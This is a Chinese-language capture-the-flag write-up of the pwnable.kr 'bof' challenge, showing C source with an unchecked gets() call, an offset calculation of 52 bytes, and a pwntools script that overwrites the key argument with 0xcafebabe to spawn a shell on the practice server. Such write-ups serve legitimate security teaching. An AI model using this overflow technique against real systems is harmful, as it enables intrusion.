美文网首页
[Toddler's Bottle]-bof

[Toddler's Bottle]-bof

作者: 2mpossible | 来源:发表于2017-09-02 12:13 被阅读0次

    下载好源码和源文件:

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);   // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
            printf("Nah..\n");
        }
    }
    int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
    }
    

    从源码可以看出这题大概是要溢出overflowme从而覆盖key的值为0xcafebabe,只要知道覆盖的大小是多少即可,IDA分析一下

    image.png

    发现overflowme的基址为ebp-0x2c,即44个字节,再加上ebp和返回地址的8个字节就是52个字节,最后的4个字节覆盖key就可以了,直接上脚本

    from pwn import *
    p = remote('pwnable.kr',9000)
    playload = 'a'*52
    playload += p32(0xcafebabe)
    p.sendline(playload)
    p.interactive()
    

    拿到flag

    image.png

    相关文章

      网友评论

          本文标题:[Toddler's Bottle]-bof

          本文链接:https://www.haomeiwen.com/subject/bloljxtx.html